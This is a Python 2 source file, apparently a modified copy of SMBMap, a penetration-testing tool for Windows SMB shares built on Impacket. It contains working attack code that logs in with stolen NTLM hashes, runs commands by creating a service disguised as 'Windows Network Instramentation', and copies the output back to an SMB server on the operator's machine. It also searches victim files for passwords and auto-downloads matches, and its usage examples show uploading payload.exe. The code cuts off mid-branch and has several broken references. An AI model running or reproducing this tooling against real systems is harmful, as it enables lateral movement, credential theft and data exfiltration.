#! /usr/bin/env python2
import sys
import uuid
import signal
import string
import time
import random
import string
import logging
import ConfigParser
import argparse
from threading import Thread
from impacket import smb, version, smb3, nt_errors, smbserver
from impacket.dcerpc.v5 import samr, transport, srvs
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smbconnection import *
from collections import defaultdict
import ntpath
import cmd
import os
import re

colors = {
    'normal'         : "\x1b[0m",
    'black'          : "\x1b[30m",
    'red'            : "\x1b[31m",
    'green'          : "\x1b[32m",
    'yellow'         : "\x1b[33m",
    'blue'           : "\x1b[34m",
    'purple'         : "\x1b[35m",
    'cyan'           : "\x1b[36m",
    'grey'           : "\x1b[90m",
    'gray'           : "\x1b[90m",
    'bold'           : "\x1b[1m"
}

def color(string, color='', graphic=''):
    """
    Change text color for the Linux terminal.

    Args:
        string (str): String to colorify
        color (str): Color to colorify the string in the following list:
            black, red, green, yellow, blue, purple, cyan, gr[ae]y
        graphic (str): Graphic to append to the beginning of the line
    """


    if not color:
        if string.startswith("[!] "):
            color = 'red'
        elif string.startswith("[+] "):
            color = 'green'
        elif string.startswith("[*] "):
            color = 'blue'
        else:
            color = 'normal'

    if color not in colors:
        print(colors['red'] + 'Color not found: {}'.format(color) + colors['normal'])
        return

    if color:
        return colors[color] + graphic + string + colors['normal']
    else:
        return string + colors['normal']

def output(string):
    print(color(string))

def success(string):
    print(color(string, color="green", graphic='[+] '))

def warning(string):
    print(color(string, color="yellow", graphic='[*] '))

def error(string):
    print(color(string, color="red", graphic='[!] '))

def info(string):
    print(color(string, color="blue", graphic='[-] '))

def debug(string):
    print(color(string, color="purple", graphic='[.] '))

def verbose(string):
    if verbosity:
        print(color(string, color="cyan", graphic='[.] '))


# A lot of this code was taken from Impacket's own examples
# https://impacket.googlecode.com
# Seriously, the most amazing Python library ever!!
# Many thanks to that dev team

OUTPUT_FILENAME = 'hsperdataD016C.tmp'
BATCH_FILENAME  = 'NpLogStub.bat'
SMBSERVER_DIR   = '/tmp/pentestlyserver'
DUMMY_SHARE     = 'PENTESTLYSHARE'
PERM_DIR = 'permdir'

class SMBServer(Thread):
    def __init__(self):
        if os.geteuid() != 0:
            exit('[!] Error: ** SMB Server must be run as root **')
        Thread.__init__(self)

    def cleanup_server(self):
        info('Cleaning up..')
        try:
            os.unlink(SMBSERVER_DIR + '/smb.log')
        except:
            pass
        os.rmdir(SMBSERVER_DIR)

    def run(self):
        # Here we write a mini config for the server
        smbConfig = ConfigParser.ConfigParser()
        smbConfig.add_section('global')
        smbConfig.set('global','server_name','server_name')
        smbConfig.set('global','server_os','UNIX')
        smbConfig.set('global','server_domain','WORKGROUP')
        smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log')
        smbConfig.set('global','credentials_file','')

        # Let's add a dummy share
        smbConfig.add_section(DUMMY_SHARE)
        smbConfig.set(DUMMY_SHARE,'comment','')
        smbConfig.set(DUMMY_SHARE,'read only','no')
        smbConfig.set(DUMMY_SHARE,'share type','0')
        smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)

        # IPC always needed
        smbConfig.add_section('IPC$')
        smbConfig.set('IPC$','comment','')
        smbConfig.set('IPC$','read only','yes')
        smbConfig.set('IPC$','share type','3')
        smbConfig.set('IPC$','path')

        try:
            self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
        except Exception as e:
            if 'in use' not in str(e):
                raise(e)
            return

        info('[*] Creating tmp directory')
        try:
            os.mkdir(SMBSERVER_DIR)
        except Exception, e:
            color('[!]', e)
            pass
        color('[*] Setting up SMB Server')
        self.smb.processConfigFile()
        color('[*] Ready to listen...')
        try:
            self.smb.serve_forever()
        except:
            pass

    def stop(self):
        color('[*] Stopping server')
        self.cleanup_server()
        self.smb.socket.close()
        self.smb.server_close()
        self._Thread__stop()

class RemoteShell():
    def __init__(self, share, rpc, mode, serviceName, command):
        self.__share = share
        self.__mode = mode
        self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
        # self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
        self.__batchFile = BATCH_FILENAME
        self.__outputBuffer = ''
        self.__command = command
        self.__shell = '%COMSPEC% /Q /c '
        self.__serviceName = serviceName
        self.__rpc = rpc

        dce = rpc.get_dce_rpc()
        try:
            dce.connect()
        except Exception as e:
            raise e

        s = rpc.get_smb_connection()

        # We don't wanna deal with timeouts from now on.
        s.setTimeout(100000)
        
        try:
            dce.bind(svcctl.MSRPC_UUID_SVCCTL)
            self.rpcsvc = svcctl.DCERPCSvcCtl(dce)
            resp = self.rpcsvc.OpenSCManagerW()
            self.__scHandle = resp['ContextHandle']
            self.transferClient = rpc.get_smb_connection()
        except Exception as e:
            color("[!] {}".format(e))

    def set_copyback(self):
        s = self.__rpc.get_smb_connection()
        s.setTimeout(100000)
        myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
        self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)

    def finish(self):
        # Just in case the service is still created
        try:
           dce = self.__rpc.get_dce_rpc()
           dce.connect()
           dce.bind(svcctl.MSRPC_UUID_SVCCTL)
           self.rpcsvc = svcctl.DCERPCSvcCtl(dce)
           resp = self.rpcsvc.OpenSCManagerW()
           self.__scHandle = resp['ContextHandle']
           resp = self.rpcsvc.OpenServiceW(self.__scHandle, self.__serviceName)
           service = resp['ContextHandle']
           self.rpcsvc.DeleteService(service)
           self.rpcsvc.StopService(service)
           self.rpcsvc.CloseServiceHandle(service)
        except Exception, e:
            color('[!]', e)
            pass

    def get_output(self):
        def output_callback(data):
            self.__outputBuffer += data
        
        if self.__mode == 'SHARE':
            while True:
                try:
                    # print "Getting output file: {}".format(self.__output)
                    self.transferClient.getFile(self.__share, self.__output, output_callback)
                    break
                except Exception as e:
                    info(str(e))
                    if "OBJECT_NAME_NOT_FOUND" in str(e):
                        color("Output file not created yet, waiting..")
                        time.sleep(2)
                        pass
                    if "SUCCESS" in str(e):
                        break
                    else:
                        raise e
                        
            # print "Deleting output file: {}".format(self.__output)
            self.transferClient.deleteFile(self.__share, self.__output)

        else:
            info("Output file: {}".format(SMBSERVER_DIR + '/' + OUTPUT_FILENAME))
            with open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r') as f:
                output_callback(fd.read())

            # os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)

    def execute_remote(self, data):
        # print "Batch file: {}".format(self.__batchFile)
        command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
        if self.__mode == 'SERVER':
            self.set_copyback()
            command += ' & ' + self.__copyBack
            command += ' & ' + 'del ' + self.__batchFile
            command += ' & ' + 'del ' + self.__output
        else:
            command += ' & ' + 'del ' + self.__batchFile

        resp = self.rpcsvc.CreateServiceW(self.__scHandle, self.__serviceName, self.__serviceName, command.encode('utf-16le'))
        service = resp['ContextHandle']
        try:
           self.rpcsvc.StartServiceW(service)
        except Exception as e:
            pass
        self.rpcsvc.DeleteService(service)
        self.rpcsvc.CloseServiceHandle(service)
        # print "Output file before getting: {}".format(self.__output)
        self.get_output()

    def send_data(self, data, disp_output = True):
        self.execute_remote(data)
        if disp_output:
            info(self.__outputBuffer)
        result = self.__outputBuffer
        self.__outputBuffer = ''
        return result

class CMDEXEC:
    KNOWN_PROTOCOLS = {
        '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
        '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
        }


    def __init__(self, protocols = None, username = '', password = '', domain = '', hashes = None, share = None, command = None, disp_output = True):
        if not protocols:
            protocols = PSEXEC.KNOWN_PROTOCOLS.keys()

        self.__username = username
        self.__password = password
        self.__protocols = [protocols]
        self.__serviceName = 'Windows Network Instramentation'.encode('utf-16le')
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__share = share
        self.__mode  = 'SHARE'
        self.__command = command
        self.__disp_output = disp_output
        if hashes is not None:
            self.__lmhash, self.__nthash = hashes.split(':')

    def service_generator(self, size=6, chars=string.ascii_uppercase):
        return ''.join(random.choice(chars) for _ in range(size))

    def run(self, addr):
        result = ''
        for protocol in self.__protocols:
            protodef = CMDEXEC.KNOWN_PROTOCOLS[protocol]
            port = protodef[1]

            stringbinding = protodef[0] % addr

            rpctransport = transport.DCERPCTransportFactory(stringbinding)
            rpctransport.set_dport(port)

            if hasattr(rpctransport,'preferred_dialect'):
               rpctransport.preferred_dialect(SMB_DIALECT)
            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            try:
                self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__command)
                result = self.shell.send_data(self.__command, self.__disp_output)
            except SessionError as e:
                if 'STATUS_SHARING_VIOLATION' in str(e):
                    return

                if self.__mode != 'SERVER':
                    smb_server = SMBServer()
                    smb_server.daemon = True
                    smb_server.start()
                    self.__mode = 'SERVER'
                    self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__command)
                    self.shell.set_copyback()
                    result = self.shell.send_data(self.__command, self.__disp_output)

                smb_server.stop()

        return result
           
            
class SMBMap():
    KNOWN_PROTOCOLS = {
        '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
        '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
        }

    def __init__(self):
        self.recursive = False
        self.list_files = False
        self.smbconn = {}
        self.isLoggedIn = False
        self.pattern = None
        self.hosts = {}
        self.jobs = {}
        self.search_output_buffer = ''
     
    def login(self, host, username, password, domain, verbose=False):
        try:
            self.smbconn[host] = SMBConnection(host, host, sess_port=445, timeout=2)
            self.smbconn[host].login(username, password, domain=domain)

            if verbose:
                if self.smbconn[host].isGuestSession() > 0:
                    color('[+] Guest SMB session established on %s...' % (host))
                else:
                    color('[+] User SMB session established on %s...' % (host))
            return True

        except Exception as e:
            self.smbconn.pop(host, None)
            return False
 
    def logout(self, host):
        self.smbconn[host].logoff()
        
    def smart_login(self, curr_host=None):
        success = False
        for host in self.hosts:
            if self.is_ntlm(self.hosts[host]['passwd']):
                color('[+] Hash detected, using pass-the-hash to authentiate')
                if self.hosts[host]['port'] == 445: 
                    success = self.login_hash(host, self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'])
                else:
                    success = self.login_rpc_hash(host, self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'])
            else:
                if self.hosts[host]['port'] == 445:
                    success = self.login(host, self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'])
                else:
                    success = self.login_rpc(host, self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'])
            
            if not success:
                color('[!] Authentication error on %s' % (host))
                self.smbconn.pop(host,None)
                self.hosts.pop(host, None)

                return success
            
    def login_rpc_hash(self, host, username, ntlmhash, domain):
        lmhash, nthash = ntlmhash.split(':')    
    
        try:
            self.smbconn[host] = SMBConnection('*SMBSERVER', host, sess_port=139, timeout=2)
            self.smbconn[host].login(username, '', domain, lmhash=lmhash, nthash=nthash)
            
            if self.smbconn[host].isGuestSession() > 0:
                color('[+] Guest RPC session established on %s...' % (host))
            else:
                color('[+] User RPC session establishd on %s...' % (host) )
            return True

        except Exception as e:
            color('[!] RPC Authentication error occured')
            return False
 
    def login_rpc(self, host, username, password, domain):
        try:
            self.smbconn[host] = SMBConnection('*SMBSERVER', host, sess_port=139, timeout=2)
            self.smbconn[host].login(username, password, domain)
            
            if self.smbconn[host].isGuestSession() > 0:
                color('[+] Guest RPC session established on %s...' % (host))
            else:
                color('[+] User RPC session establishd on %s...' % (host) )
            return True
        
        except Exception as e:
            color('[!] RPC Authentication error occured')
            return False
 
    def login_hash(self, host, username, ntlmhash, domain):
        lmhash, nthash = ntlmhash.split(':')    
        try:
            self.smbconn[host] = SMBConnection(host, host, sess_port=445, timeout=2)
            self.smbconn[host].login(username, '', domain, lmhash=lmhash, nthash=nthash)
            
            if self.smbconn[host].isGuestSession() > 0:
                color('[+] Guest session established on %s...' % (host))
            else:
                color('[+] User session establishd on %s...' % (host))
            return True

        except Exception as e:
            color('[!] Authentication error occured')
            color('[!]', e)
            return False
 
    def find_open_ports(self, address, port):    
        result = 1
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            result = sock.connect_ex((address,port))
            if result == 0:
                sock.close()
                return True
        except:
            return False

    def start_file_search(self, host, pattern, share, search_path):
        job_name = str(uuid.uuid4().get_hex())[0:24]
        try:
            tmp_dir = self.exec_command(host, share, 'echo %TEMP%', False).strip()
            if len(tmp_dir) == 0:
                tmp_dir = 'C:\\'
            ps_command = 'powershell -command "Start-Process cmd -ArgumentList """"/c """"""""findstr /R /S /M /P /C:""""""""%s"""""""" %s\*.* 2>nul > %s\%s.txt"""""""" """" -WindowStyle hidden"' % (pattern, search_path, tmp_dir, job_name)
            success = self.exec_command(host, share, ps_command, False)
            self.jobs[job_name] = { 'host' : host, 'share' : share, 'tmp' : tmp_dir , 'pattern' : pattern}
            color('[+] Job %s started on %s, result will be stored at %s\%s.txt' % (job_name, host, tmp_dir, job_name))
        except Exception as e:
            warning(e)
            color('[!] Job creation failed on host: %s' % (host))

    def get_search_results(self):
        color('[+] Grabbing search results, be patient, share drives tend to be big...')
        counter = 0
        while counter != len(self.jobs.keys()):
            try:
                for job in self.jobs.keys():
                    result = self.exec_command(self.jobs[job]['host'], self.jobs[job]['share'], 'cmd /c "2>nul (>>%s\%s.txt (call )) && (echo not locked) || (echo locked)"' % (self.jobs[job]['tmp'], job), False)
                    if 'not locked' in result:
                        dl_target = '%s%s\%s.txt' % (self.jobs[job]['share'], self.jobs[job]['tmp'][2:], job)
                        host_dest = self.download_file(host, dl_target, False)
                        results_file = open(host_dest)
                        self.search_output_buffer += 'Host: %s \t\tPattern: %s\n' % (self.jobs[job]['host'], self.jobs[job]['pattern'])
                        self.search_output_buffer += results_file.read()
                        os.remove(host_dest)
                        self.delete_file(host, dl_target, False)
                        counter += 1
                        color('[+] Job %d of %d completed' % (counter, len(self.jobs.keys())))
                    else:
                        time.sleep(10)
            except Exception as e:
                color(e)
        color('[+] All jobs complete')
        color(self.search_output_buffer )
                    
    def list_drives(self, host, share):
        counter = 0
        disks = []
        local_disks = self.exec_command(host, share, 'fsutil fsinfo drives', False)
        net_disks_raw = self.exec_command(host, share, 'net use', False)
        net_disks = ''
        for line in net_disks_raw.split('\n'):
            if ':' in line:
                data = line.split(' ')
                data = filter(lambda a: a != '', data)
                for item in data:
                    counter += 1
                    net_disks += '%s\t\t' % (item)
                    if '\\' in item:
                        net_disks += ' '.join(data[counter:])
                        break
                disks.append(net_disks)
                net_disks = ''
        color('[+] Host %s Local %s' % (host, local_disks.strip()))
        color('[+] Host %s Net Drive(s):' % (host))
        if len(disks) > 0:
            for disk in disks:
                info('\t%s' % (disk))
        else:
            info('\tNo mapped network drives')
        pass    
        
    def output_shares(self, host, lsshare, lspath, verbose=True):
        shareList = [lsshare] if lsshare else self.get_shares(host)
        shares = defaultdict(list)
        for share in shareList:
            error = 0
            pathList = {}
            canWrite = False

            readable = self.list_path(host, share, '', self.pattern, only_output=True)
            if readable:
                shares['readonly'].append(share)
            else:
                error += 1
            
            if error == 0: 
                path = '/'
                if self.list_files and not self.recursive:
                    if lsshare and lspath:
                        if self.pattern:
                            color('[+] Starting search for files matching \'%s\' on share %s.' % (self.pattern, lsshare))
                        dirList = self.list_path(host, lsshare, lspath, self.pattern, verbose)
                        sys.exit()
                    else:
                        if self.pattern:
                            color('[+] Starting search for files matching \'%s\' on share %s.' % (self.pattern, share))
                        dirList = self.list_path(host, share, path, self.pattern, verbose)
                
                if self.recursive:
                    if lsshare and lspath:
                        if self.pattern:
                            color('[+] Starting search for files matching \'%s\' on share %s.' % (self.pattern, lsshare))
                        dirList = self.list_path_recursive(host, lsshare, lspath, '*', pathList, self.pattern, verbose)
                        sys.exit()
                    else:
                        if self.pattern:
                            color('[+] Starting search for files matching \'%s\' on share %s.' % (self.pattern, share))
                        dirList = self.list_path_recursive(host, share, path, '*', pathList, self.pattern, verbose)
            
            if error > 0:
                shares['noaccess'].append(share)

        return shares


    def get_shares(self, host):
        shareList = self.smbconn[host].listShares()
        shares = []
        for item in range(len(shareList)):
            shares.append(shareList[item]['shi1_netname'][:-1])
        return shares 

    def list_path_recursive(self, host, share, pwd, wildcard, pathList, pattern, verbose):
        root = self.pathify(pwd)
        root = ntpath.normpath(root)
        width = 16
        try:
            pathList[root] = self.smbconn[host].listPath(share, root)
            if verbose:
                info('\t.%s' % (root.strip('*')))

            if len(pathList[root]) > 2:
                    for smbItem in pathList[root]:
                        try:
                            filename = smbItem.get_longname()
                            isDir = 'd' if smbItem.is_directory() > 0 else '-' 
                            filesize = smbItem.get_filesize() 
                            readonly = 'w' if smbItem.is_readonly() > 0 else 'r'
                            date = time.ctime(float(smbItem.get_mtime_epoch()))
                            if smbItem.is_directory() <= 0:
                                fileMatch = re.search(pattern.lower(), filename.lower())
                                if fileMatch:
                                    dlThis = '%s\\%s/%s' % (share, pwd, filename)
                                    dlThis = dlThis.replace('/', '\\')
                                    self.download_file(host, dlThis, False) 
                            if verbose: 
                                info('\t%s%s--%s--%s-- %s %s\t%s' % (isDir, readonly, readonly, readonly, str(filesize).rjust(width), date, filename))
                        except SessionError as e:
                            warning('[!]', e)
                            continue
                        except Exception as e:
                            warning('[!]', e)
                            exc_type, exc_obj, exc_tb = sys.exc_info()
                            fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
                            info(exc_type, fname, exc_tb.tb_lineno)
                            sys.stdout.flush()
                    for smbItem in pathList[root]:
                        try:
                            filename = smbItem.get_longname()
                            if smbItem.is_directory() > 0 and filename != '.' and filename != '..':
                                subPath = '%s/%s' % (pwd, filename)
                                subPath = self.pathify(subPath)
                                pathList[subPath] = self.smbconn[host].listPath(share, subPath)
                                if len(pathList[subPath]) > 2:
                                    self.list_path_recursive(host, share, '%s/%s' % (pwd, filename), wildcard, pathList, pattern, verbose)

                        except SessionError as e:
                            continue
        except Exception as e:
            pass

    def pathify(self, path):
        root = ntpath.join(path,'*')
        root = root.replace('/','\\')
        #root = ntpath.normpath(root)
        return root

    def list_path(self, host, share, path, pattern, verbose=False, only_output=False):
        '''
        List shares and regex search for files in the shares to download

        If only_output, will not try to download
        '''
        pwd = self.pathify(path)
        width = 16
        try:
            output_file = True
            pathList = self.smbconn[host].listPath(share, pwd)
            if verbose:
                info('\t.%s' % (path.ljust(50)))
            if only_output:
                if not pathList:
                    return []
                return pathList
            for item in pathList:
                filesize = item.get_filesize() 
                readonly = 'w' if item.is_readonly() > 0 else 'r'
                date = time.ctime(float(item.get_mtime_epoch()))
                isDir = 'd' if item.is_directory() > 0 else 'f'
                filename = item.get_longname()
                if item.is_directory() <= 0:
                    info(pattern.lower(), filename.lower())
                    fileMatch = re.search(pattern.lower(), filename.lower())
                    if fileMatch:
                        dlThis = '%s\\%s/%s' % (share, ntpath.normpath(pwd.strip('*')), filename)
                        dlThis = dlThis.replace('/','\\') 
                        output_file = self.download_file(host, dlThis, True) 
                if verbose:
                    info('\t%s%s--%s--%s-- %s %s\t%s' % (isDir, readonly, readonly, readonly, str(filesize).rjust(width), date, filename))
            return output_file
        except Exception as e:
            # import traceback; traceback.print_exc()
            return []
 
    def create_dir(self, host, share, path):
        #path = self.pathify(path)
        self.smbconn[host].createDirectory(share, path)

    def remove_dir(self, host, share, path):
        #path = self.pathify(path)
        self.smbconn[host].deleteDirectory(share, path)
    
    def valid_ip(self, address):
        try:
            socket.inet_aton(address)
            return True
        except:
            return False

    def filter_results(self, pattern):
        pass
    
    def download_file(self, host, path, verbose=True):
        try:
            os.mkdir('files')
        except OSError:
            pass
        path = path.replace('/','\\')
        path = ntpath.normpath(path)
        filename = path.split('\\')[-1]   
        share = path.split('\\')[0]
        path = path.replace(share, '')
        dlpath = ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_'))))
        dlpath = os.path.join('files', dlpath)
        if os.path.exists(dlpath):
            info("Continuing, already downloaded {}".format(dlpath))
            return
        try:
            success('Match found! Downloading: %s' % (ntpath.normpath(dlpath)))
            # out = open(ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_')))),'wb')
            out = open(dlpath, 'wb')
            dlFile = self.smbconn[host].listPath(share, path)
            if verbose:
                msg = '[+] Starting download: %s (%s bytes)' % ('%s%s' % (share, path), dlFile[0].get_filesize())
                if self.pattern:
                    msg = '\t' + msg
                info(msg )
            self.smbconn[host].getFile(share, path, out.write)
            if verbose:
                msg = '[+] File output to: %s/%s' % (os.getcwd(), ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_')))))
                if self.pattern:
                    msg = '\t'+msg
                info(msg )
        except SessionError as e:
            if 'STATUS_ACCESS_DENIED' in str(e):
                color('[!] Error retrieving file, access denied')
            elif 'STATUS_INVALID_PARAMETER' in str(e):
                color('[!] Error retrieving file, invalid path')
            elif 'STATUS_SHARING_VIOLATION' in str(e):
                if not verbose:
                    indent = '\t'
                else:
                    indent = ''
                color('[!] Error retrieving file %s, sharing violation' % (indent, filename))
                out.close()
                os.remove(ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_')))))
        except Exception as e:
            warning('[!] Error retrieving file, unknown error')
            os.remove(filename)
        out.close()
        return '%s/%s' % (os.getcwd(), ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share, path.replace('\\','_')))))
    
    def exec_command(self, host, share, command, disp_output = True):
        if self.is_ntlm(self.hosts[host]['passwd']):
            hashes = self.hosts[host]['passwd']
        else:
            hashes = None 
        executer = CMDEXEC('445/SMB', self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'], hashes, share, command, disp_output)
        result = executer.run(host)
        if disp_output:
            print(result)
        return result
 
    def delete_file(self, host, path, verbose=True):
        path = path.replace('/','\\')
        path = ntpath.normpath(path)
        filename = path.split('\\')[-1]   
        share = path.split('\\')[0]
        path = path.replace(share, '')
        path = path.replace(filename, '')
        try:
            self.smbconn[host].deleteFile(share, path + filename)
            if verbose:
                success('[+] File successfully deleted: %s%s%s' % (share, path, filename))
        except SessionError as e:
            if 'STATUS_ACCESS_DENIED' in str(e):
                if verbose:
                    warning('[!] Error deleting file, access denied')
            elif 'STATUS_INVALID_PARAMETER' in str(e):
                if verbose:
                    warning('[!] Error deleting file, invalid path')
            elif 'STATUS_SHARING_VIOLATION' in str(e):
                if verbose:
                    warning('[!] Error retrieving file, sharing violation')
            else:
                warning('[!] Error deleting file %s%s%s, unknown error' % (share, path, filename))
                warning('[!]', e)
        except Exception as e:
            warning('[!] Error deleting file %s%s%s, unknown error' % (share, path, filename))
            warning('[!]', e)
         
    def upload_file(self, host, src, dst): 
        dst = string.replace(dst,'/','\\')
        dst = ntpath.normpath(dst)
        dst = dst.split('\\')
        share = dst[0]
        dst = '\\'.join(dst[1:])
        if os.path.exists(src):
            color('[+] Starting upload: %s (%s bytes)' % (src, os.path.getsize(src)))
            upFile = open(src, 'rb')
            try:
                self.smbconn[host].putFile(share, dst, upFile.read)
                color('[+] Upload complete' )
            except Exception as e:
                color('[!]', e)
                color('[!] Error uploading file, you need to include destination file name in the path')
            upFile.close() 
        else:
            color('[!] Invalid source. File does not exist')
            sys.exit()

    def is_ntlm(self, password):
        try:
            if len(password.split(':')) == 2:
                lm, ntlm = password.split(':')
                if len(lm) == 32 and len(ntlm) == 32:
                    return True
                else: 
                    return False
        except Exception as e:
            return False

    def get_version(self, host):
        try:
            rpctransport = transport.SMBTransport(self.smbconn[host].getServerName(), self.smbconn[host].getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smbconn[host])
            dce = rpctransport.get_dce_rpc()
            dce.connect()
            dce.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrServerGetInfo(dce, 102)
            
            info("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
            info("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
            info("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
            info("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
            info("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
            info("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])
        except Exception as e:
            color('[!] RPC Access denied...oh well')
            color('[!]', e)
            exc_type, exc_obj, exc_tb = sys.exc_info()
            fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
            info(exc_type, fname, exc_tb.tb_lineno)
            sys.exit()

def signal_handler(signal, frame):
    warning('You pressed Ctrl+C!')
    sys.exit(1)

if __name__ == "__main__":
   
    example = 'Examples:\n\n'
    example += '$ python smbmap.py -u jsmith -p password1 -d workgroup -H 192.168.0.1\n'
    example += '$ python smbmap.py -u jsmith -p \'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d\' -H 172.16.0.20\n'
    example += '$ python smbmap.py -u \'apadmin\' -p \'asdf1234!\' -d ACME -h 10.1.3.30 -x \'net group "Domain Admins" /domain\'\n'
    
    parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description="SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com", epilog=example)

    sgroup = parser.add_argument_group("Main arguments")
    mex_group = sgroup.add_mutually_exclusive_group(required=True)
    mex_group.add_argument("-H", metavar="HOST", dest='host', type=str, help="IP of host")
    mex_group.add_argument("--host-file", metavar="FILE", dest="hostfile", type=argparse.FileType('r'), help="File containing a list of hosts")
    sgroup.add_argument("-u", metavar="USERNAME", dest='user', default='', help="Username, if omitted null session assumed")
    sgroup.add_argument("-p", metavar="PASSWORD", dest='passwd', default='', help="Password or NTLM hash")
    sgroup.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default C$), ex 'C$'")
    sgroup.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP", help="Domain name (default WORKGROUP)")
    sgroup.add_argument("-P", metavar="PORT", dest='port', type=int, default=445, help="SMB port (default 445)")

    sgroup2 = parser.add_argument_group("Command Execution", "Options for executing commands on the specified host")
    sgroup2.add_argument("-x", metavar="COMMAND", dest='command', help="Execute a command ex. 'ipconfig /all'")
    
    sgroup3 = parser.add_argument_group("Filesystem Search", "Options for searching/enumerating the filesystem of the specified host")
    mex_group2 = sgroup3.add_mutually_exclusive_group()
    mex_group2.add_argument("-L", dest='list_drives', action="store_true", help="List all drives on the specified host")
    mex_group2.add_argument("-R", metavar="PATH", dest="recursive_dir_list", nargs="?", const='', help="Recursively list dirs, and files (no share\path lists ALL shares), ex. 'C$\\Finance'")
    mex_group2.add_argument("-r", metavar="PATH", dest="dir_list", nargs="?", const='', help="List contents of directory, default is to list root of all shares, ex. -r 'C$\Documents and Settings\Administrator\Documents'")
    sgroup3.add_argument("-A", metavar="PATTERN", dest="pattern", help="Define a file name pattern (regex) that auto downloads a file on a match (requires -R or -r), not case sensitive, ex '(web|global).(asax|config)'")
    sgroup3.add_argument("-q", dest="verbose", default=True, action="store_false", help="Disable verbose output (basically only really useful with -A)")
    
    sgroup4 = parser.add_argument_group("File Content Search", "Options for searching the content of files")
    sgroup4.add_argument("-F", dest="file_content_search", metavar="PATTERN", help="File content search, -F '[Pp]assword' (requies admin access to execute commands, and powershell on victim host)")
    sgroup4.add_argument("--search-path", dest="search_path", default="C:\\Users", metavar="PATH", help="Specify drive/path to search (used with -F, default C:\\Users), ex 'D:\\HR\\'")
    
    sgroup5 = parser.add_argument_group("Filesystem interaction", "Options for interacting with the specified host's filesystem")
    sgroup5.add_argument("--download", dest='dlPath', metavar="PATH", help="Download a file from the remote system, ex.'C$\\temp\\passwords.txt'")
    sgroup5.add_argument("--upload", nargs=2, dest='upload', metavar=('SRC', 'DST'), help="Upload a file to the remote system ex. '/tmp/payload.exe C$\\temp\\payload.exe'")
    sgroup5.add_argument("--delete", dest="delFile", metavar="PATH TO FILE", help="Delete a remote file, ex. 'C$\\temp\\msf.exe'")
    sgroup5.add_argument("--skip", default=False, action="store_true", help="Skip delete file confirmation prompt")
    

    if len(sys.argv) is 1:
        parser.print_help()
        sys.exit(1)

    args = parser.parse_args()

    signal.signal(signal.SIGINT, signal_handler)
    
    host = dict()
    mysmb = SMBMap()

    lsshare = False 
    lspath = False
    
    if args.recursive_dir_list != None:
        mysmb.recursive = True
        mysmb.list_files = True
        try:
            lspath = args.recursive_dir_list.replace('/','\\').split('\\')
            lsshare = lspath[0]
            lspath = '\\'.join(lspath[1:])
        except:
            pass
            
    elif args.dir_list != None:
        mysmb.list_files = True
        try:
            lspath = args.dir_list.replace('/','\\').split('\\')
            lsshare = lspath[0]
            lspath = '\\'.join(lspath[1:])
        except:
            pass
    
    color('[+] Finding open SMB ports....')
    socket.setdefaulttimeout(2)
    if args.hostfile:
        for ip in args.hostfile:
            try:
                if mysmb.find_open_ports(ip.strip(), args.port):
                    try:
                        host[ip.strip()] = { 'name' : socket.getnameinfo((ip.strip(), args.port),0)[0] , 'port' : args.port, 'user' : args.user, 'passwd' : args.passwd, 'domain' : args.domain}
                    except:
                        host[ip.strip()] = { 'name' : 'unknown', 'port' : 445, 'user' : args.user, 'passwd' : args.passwd, 'domain' : args.domain }
            except Exception as e:
                color('[!]', e)
                continue

    elif args.host:
